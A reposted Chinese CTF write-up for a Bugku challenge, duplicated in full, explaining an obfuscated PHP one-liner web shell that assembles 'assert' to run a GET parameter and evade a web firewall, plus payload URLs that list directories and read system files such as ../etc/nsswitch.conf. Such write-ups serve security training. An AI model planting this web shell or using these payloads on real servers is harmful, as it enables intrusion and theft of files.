zoukankan      html  css  js  c++  java
  • bugku 过狗一句话

    题目描述:
    题目描述:
                                  
    上面的php进行格式化之后:
    <?php     $poc="a#s#s#e#r#t";    $poc_1=explode("#",$poc);                 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];    $poc_2($_GET['s']) ?>
    其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
    $poc_2和_GET['s']都会被解析成相应的函数,之后再执行
    assert($_GET['s'])
    看看大佬的博客,构造payload,爆出当前目录下的文件名:
     http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
     %27是单引号 '  的url编码
    读出来array数组的值:
     Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
     一个一个试:
     最后这个url得到flag
     http://123.206.87.240:8010/flag_sm1skla1.txt
     
     
     试一下读取上级目录
     http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
     
     也可以读出来,权限没有限制。
     读取当前目录,返回结果跟 './ ' 一样,看来当前的目录名为web:
     http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
     
     etc目录下的文件:
     看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
     
     当然可以构造其他的payload去获取想要的资源:
     
     http://123.206.87.240:8010/?=print_r(readfile('../etc/nsswitch.conf')) http://123.206.87.240:8010/?s=print_r(fopen('../etc/nsswitch.conf','r'))
     在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。
     
     
     
    知识点
    explode(separator,string,limit)        把字符串打散为数组。
     separator
        必需。规定在哪里分割字符串。
       string
        必需。要分割的字符串。
       limit
        
        可选。规定所返回的数组元素的数目。
        大于 0 - 返回包含最多 limit 个元素的数组
        小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
        0 - 返回包含一个元素的数组
        
       
     eval函数中参数是字符,如:
         eval('echo 1;');
     assert函数中参数为表达式 (或者为函数),如:
         assert(phpinfo())
         直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
     scandir()
     $dir = "/images/";
     $a = scandir($dir);        // 以升序排序 - 默认
     $b = scandir($dir,1);    // 以降序排序
     一个过狗的总结https://www.jianshu.com/p/0510ce81566d
    ————————————————
    版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
    原文链接:https://blog.csdn.net/changer_WE/article/details/89304399
                                  
    上面的php进行格式化之后:
    <?php     $poc="a#s#s#e#r#t";    $poc_1=explode("#",$poc);                 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];    $poc_2($_GET['s']) ?>
    其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
    $poc_2和_GET['s']都会被解析成相应的函数,之后再执行
    assert($_GET['s'])
    看看大佬的博客,构造payload,爆出当前目录下的文件名:
     http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
     %27是单引号 '  的url编码
    读出来array数组的值:
     Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
     一个一个试:
     最后这个url得到flag
     http://123.206.87.240:8010/flag_sm1skla1.txt
     
     
     试一下读取上级目录
     http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
     
     也可以读出来,权限没有限制。
     读取当前目录,返回结果跟 './ ' 一样,看来当前的目录名为web:
     http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
     
     etc目录下的文件:
     看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
     
     当然可以构造其他的payload去获取想要的资源:
     
     http://123.206.87.240:8010/?=print_r(readfile('../etc/nsswitch.conf')) http://123.206.87.240:8010/?s=print_r(fopen('../etc/nsswitch.conf','r'))
     在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。
     
     
     
    知识点
    explode(separator,string,limit)        把字符串打散为数组。
     separator
        必需。规定在哪里分割字符串。
       string
        必需。要分割的字符串。
       limit
        
        可选。规定所返回的数组元素的数目。
        大于 0 - 返回包含最多 limit 个元素的数组
        小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
        0 - 返回包含一个元素的数组
        
       
     eval函数中参数是字符,如:
         eval('echo 1;');
     assert函数中参数为表达式 (或者为函数),如:
         assert(phpinfo())
         直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
     scandir()
     $dir = "/images/";
     $a = scandir($dir);        // 以升序排序 - 默认
     $b = scandir($dir,1);    // 以降序排序
     一个过狗的总结https://www.jianshu.com/p/0510ce81566d
    ————————————————
    版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
    原文链接:https://blog.csdn.net/changer_WE/article/details/89304399
  • 相关阅读:
    python-pyStrich条形码模块
    js原型及原型链解析
    解决Genymotion下载device时较慢的问题
    nodejs实现OAuth2.0授权服务
    Swagger文档添加file上传参数写法
    TypeScript学习笔记之类
    TypeScript学习笔记之接口类型
    win64环境下使用curl命令
    TypeScript学习笔记之基础类型
    WebRTC介绍及简单应用
  • 原文地址:https://www.cnblogs.com/ainv-123/p/11629991.html
Copyright © 2011-2022 走看看